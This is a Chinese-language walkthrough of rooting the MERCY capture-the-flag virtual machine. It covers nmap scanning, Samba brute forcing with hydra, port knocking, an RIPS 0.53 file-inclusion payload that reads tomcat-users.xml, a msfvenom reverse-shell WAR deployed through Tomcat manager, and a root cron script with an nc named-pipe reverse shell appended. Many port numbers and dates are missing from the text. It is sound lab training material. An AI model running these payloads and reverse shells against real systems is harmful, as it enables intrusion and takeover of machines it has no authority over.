digitalworld.local: MERCY靶机入侵

0x01 前言

MERCY是一个致力于PWK课程安全的靶机系统。MERCY是一款游戏名称，与易受攻击的靶机名称无关。本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息

靶机的下载地址：

https://drive.google.com/uc?id=1YzsW1lCKjo_WEr6Pk511DXQBFyMMR14y&export=download（注意确认下载镜像中MERCY.mf的sha256值是否正确）

0x02 信息收集

1.存活主机扫描

root@kali2018:~#arp-scan  -l

发现192.168.1.12就是目标靶机系统

2.端口扫描

通过NAMP对目标靶机进行端口扫描

root@kali2018:~# nmap  -A192.168.1.

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 09:55 EST

Nmap scan report for 192.168.1.12

Host is up (.00091s latency).

Not shown:  closed ports

PORT     STATESERVICE     VERSION

/tcp   filtered ssh

/tcp   opendomain      ISC BIND 9.9.-3ubuntu0. (Ubuntu Linux)

| dns-nsid:

|_  bind.version: 9.9.-3ubuntu0.-Ubuntu

/tcp   filtered http

/tcp  openpop3?

139/tcp  opennetbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

/tcp  openimap        Dovecot imapd

|_ssl-date: TLS randomness does not represent time

445/tcp  opennetbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

/tcp  openssl/imap    Dovecot imapd

|_imap-capabilities: CAPABILITY

| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server

| Not valid before: --24T13::

|_Not valid after:  --23T13::

|_ssl-date: TLS randomness does not represent time

/tcp  openssl/pop3s?

| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server

| Not valid before: --24T13::

|_Not valid after:  --23T13::

|_ssl-date: TLS randomness does not represent time

8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1

| http-methods:

|_  Potentially risky methods: PUT DELETE

|_http-open-proxy: Proxy might be redirecting requests

|_http-server-header: Apache-Coyote/1.1

|_http-title: Apache Tomcat

MAC Address: :0C:::A0:C6 (VMware)

Device type: general purpose

Running: Linux .X|.X

OS CPE: cpe:/o:linux:linux_kernel: cpe:/o:linux:linux_kernel:

OS details: Linux 3.2 - 4.9

Network Distance:  hop

Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

|_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s

|_nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

| smb-os-discovery:

|   OS: Windows 6.1 (Samba 4.3.-Ubuntu)

|   Computer name: mercy

|   NetBIOS computer name: MERCY\x00

|   Domain name: \x00

|   FQDN: mercy

|_  System time: --12T22::+:

| smb-security-mode:

|   account_used: guest

|   authentication_level: user

|   challenge_response: supported

|_  message_signing: disabled (dangerous, but default)

| smb2-security-mode:

|   2.02:

|_    Message signing enabled but not required

| smb2-time:

|   date: -- ::

|_  start_date: N/A

TRACEROUTE

HOP RTT     ADDRESS

   0.91 ms 192.168.1.12

OS and Service detection performed. Please report any incorrec

发现目标端口445,8080等端口开放.其他如22,80被防火墙阻断.其中samba服务已开启(这是本文重点渗透目标)

0x03漏洞利用

无论在任何情况下，我们首先攻击的应用目标是Apache

Tomcat(http://192.168.1.12:8080/)

尝试访问tomcat后台管理页面，但需要输入正确的用户名和密码方可登陆。尝试输入各种已知的信息但还是无法进入。注意到其用户的配置信息在/etc/tomcat7/tomcat-users.xml中。

1.Samba漏洞攻击

通过smbclient命令列出目标靶机中可用的Samba服务共享名.

root@kali2018:~# smbclient -NL  192.168.1.12

可从上图中看到共享的几个名称,下面将挂载其共享目录到本地,但还是不允许访问目标共享,这里需身份认证。

root@kali2018:~# mkdir  /mnt/file

root@kali2018:~# mount  -tcifs  192.168.1.12:/qiu  /mnt/file

2.enum4linux枚举Samba账号

root@kali2018:~#  enum4linux -U -o 192.168.1.12

让我们将枚举出来的账号(qiu和pleadformercy)添加到mercy.txt中，并对其账号进行爆破。

3.samba账号爆破

root@kali2018:~#hydra -L mercy.txt -P/usr/share/wordlists/fasttrack.txt smb://192.168.1.12:139

可发现成功爆破出qiu的账号，密码为空

4.mount命令挂载目录

root@kali2018:~#mount -t cifs//192.168.1.12:/qiu/mnt/file -o username=qiu

列出挂载目录下的文件信息

5.private目录信息收集

发现.private目录提供了一些重要系统信息

root@kali2018:~# cd  /mnt/file/

root@kali2018:/mnt/file# cd  .private

root@kali2018:/mnt/file/.private# ls

opensesame  readme.txtsecrets

root@kali2018:/mnt/file/.private# cd opensesame/

root@kali2018:/mnt/file/.private/opensesame# ls

config  configprint

root@kali2018:/mnt/file/.private/opensesame# head - config

Here are settings for your perusal.

Port Knocking Daemon Configuration

[options]

       UseSyslog

[openHTTP]

       sequence    = ,,

       seq_timeout = 

       command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport  -j ACCEPT

       tcpflags    = syn

[closeHTTP]

       sequence    = ,,

       seq_timeout = 

       command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport  -j ACCEPT

       tcpflags    = syn

[openSSH]

       sequence    = ,,

       seq_timeout = 

       command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport  -j ACCEPT

       tcpflags    = syn

[closeSSH]

       sequence    = ,,

       seq_timeout = 

       command     = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport  -j ACCEPT

       tcpflags    = syn

上面显示了端口启动守护进程的防火墙端口开放的命令配置.

6.打开目标靶机防火墙端口

看到两组sequence，一组用于HTTP，另一组用于SSH。

（1）http的sequence脚本：

kncok.sh

#!/bin/bash

for PORT in   ;do nmap -Pn 192.168.1.12  -p  $PORT;

done

（2）SSH的sequence脚本：

kncok1.sh

#!/bin/bash

for PORT in    ;do nmap -Pn 192.168.1.12  -p $PORT;

done

（3）通过sequence脚本来打开HTTP的端口

root@kali2018:~# ./knoch.sh

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST

Nmap scan report for 192.168.1.12

Host is up (.00044s latency).

PORT    STATESERVICE

/tcp closed nss-routing

MAC Address: :0C:::A0:C6 (VMware)

Nmap done:  IP address ( host up) scanned in 0.24 seconds

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST

Nmap scan report for 192.168.1.12

Host is up (.00053s latency).

PORT      STATE  SERVICE

/tcp closed unknown

MAC Address: :0C:::A0:C6 (VMware)

Nmap done:  IP address ( host up) scanned in 0.23 seconds

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST

Nmap scan report for 192.168.1.12

Host is up (.00042s latency).

PORT  STATESERVICE

/tcp closed unknown

MAC Address: :0C:::A0:C6 (VMware)

Nmap done:  IP address ( host up) scanned in 0.22 seconds

（4）通过sequence脚本来打开SSH的端口

root@kali2018:~# ./knoch1.sh

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST

Nmap scan report for 192.168.1.12

Host is up (.00049s latency).

PORT      STATESERVICE

/tcp closed unknown

MAC Address: :0C:::A0:C6 (VMware)

Nmap done:  IP address ( host up) scanned in 0.26 seconds

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST

Nmap scan report for 192.168.1.12

Host is up (.00042s latency).

PORT      STATESERVICE

/tcp closed unknown

MAC Address: :0C:::A0:C6 (VMware)

Nmap done:  IP address ( host up) scanned in 0.28 seconds

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST

Nmap scan report for 192.168.1.12

Host is up (.00031s latency).

PORT     STATESERVICE

/tcp closed abyss

MAC Address: :0C:::A0:C6 (VMware)

Nmap done:  IP address ( host up) scanned in 0.27 seconds

通过以上命令开放了80和22端口,现在在kali系统下打开80端口网站。

7.目录扫描

通过目录工具dirb对目标靶机系统80端口网站进行扫描，发现存在robots.txt文件

root@kali2018:~# dirb http://192.168.1.12

打开robots.txt的连接地址，发现一个有趣的目录/omercy

打开该目录网站，可发现RIPS 0.53版本存在

8.RIPS漏洞收集

根据EDB-ID 18660，RIPS 0.53易受本地文件包含（LFI）漏洞影响。（RIPS 0.53 LFI)

在 exploit-db 中搜索RIPS 0.53 漏洞。

https://www.exploit-db.com/exploits/18660

其PoC为:

http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

可以本地文件包含读出目标靶机的/etc/passwd的信息。

9.tomcat再次入侵

通过rips的lfi漏洞来本地包含tomcat-users.xml读取其配置信息。

http://192.168.1.12/nomercy/windows/code.php?file=./../../../../..//etc/tomcat7/tomcat-users.xml

此文件泄露了8080端口上运行的tomcat管理后台的用户名和密码信息

<? <user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>

<? <user username="qiu" password="mercyplz" roles="manager-gui"/>

有了登录凭证，现在可以登录管理器的webapp来部署恶意webapp，这是一个允许反弹shell的WAR文件。

登陆到管理后台：

http://192.168.1.12:8080/manager/html

目标靶机系统为32位的ubuntu系统

我们可以通过msfvenom命令来生成这样的war包

root@kali2018:/opt#  msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21  LPORT=  -f war -o shell.war

部署webapp后门文件shell.war

通过7z命令查看war包的内容，可以看到包含了yillzdtgvccxzwp.jsp文件

root@kali2018:/opt# 7z l shell.war

访问恶意Web应用程序，请在浏览器的地址栏中输入以下内容：

http://192.168.1.12:8080/shell/yillzdtgvccxzwp.jsp

在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’

root@kali2018:/opt# nc -lvvp

以普通用户权限下查看其falg信息:

tomcat7@MERCY:/$ cat local.txt

cat local.txt

Plz have mercy on me! :-( :-(

tomcat7@MERCY:/$

0x04 权限提升

可以通过从tomcat-users.xml中搜索到登录帐户qiu。在信息收集的同时还发现了将权限提升为root的方法。有一个脚本/home/qiu/.private/secrets/timeclock将每隔三分钟，以root权限运行并写入到目录/var/www/html/time中。

tomcat7@MERCY:/$su qiu

qiu@MERCY:~/.private/secrets$ ls -al/home/qiu/.private/secrets/timeclock

ls -al  /home/qiu/.private/secrets/timeclock

-rwxrwxrwx  root root  Aug  : /home/qiu/.private/secrets/timeclock

qiu@MERCY:~/.private/secrets$ cat timeclock

#!/bin/bash

now=$(date)

echo "The system time is: $now." > ../../../../../var/www/html/time

echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time

chown www-data:www-data ../../../../../var/www/html/time

将以下命令添加到脚本timclock中，其中NC监听的IP地址为攻击机（kali）的IP地址。

qiu@MERCY:~/.private/secrets$ echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21  5555 1>/tmp/p" >> timeclock

<mp/p | nc 192.168.1.21   >/tmp/p" >> timeclock

qiu@MERCY:~/.private/secrets$ cat timeclock

cat timeclock

#!/bin/bash

now=$(date)

echo "The system time is: $now." > ../../../../../var/www/html/time

echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time

chown www-data:www-data ../../../../../var/www/html/time

rm -rf /tmp/p; mknod /tmp/p p; /bin/sh </tmp/p | nc 192.168.1.21   >/tmp/p

设置另一个nc监听,监听端口为5555,3分钟后将反弹到目标root shell.并在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’

root@kali2018:/mnt/file/.private/opensesame# nc -lvvp  

listening on [any]  ...

192.168.1.12: inverse host lookup failed: Unknown host

connect to [192.168.1.21] from (UNKNOWN) [192.168.1.12] 

python -c "import pty;pty.spawn('/bin/bash')"

0x05 flag信息查看

进入到root目录然后查看proof.txt得到flag信息

oot@MERCY:~# cd /root

cd /root

root@MERCY:~# ls

ls

author-secret.txt  configproof.txt

root@MERCY:~# cat  proof.txt

cat  proof.txt

Congratulations on rooting MERCY. :-)

root@MERCY:~#